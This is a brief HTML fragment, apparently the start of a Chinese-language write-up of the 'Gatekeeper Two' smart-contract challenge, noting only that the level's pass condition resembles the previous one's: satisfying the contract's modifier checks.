<h2 id="Gatekeeper-Two"><a href="#Gatekeeper-Two" class="headerlink" title="Gatekeeper Two"></a>Gatekeeper Two</h2><p>通关条件:</p>
<ul>
<li>与上关差不多,也是满足 modeifier的几个条件即可</li>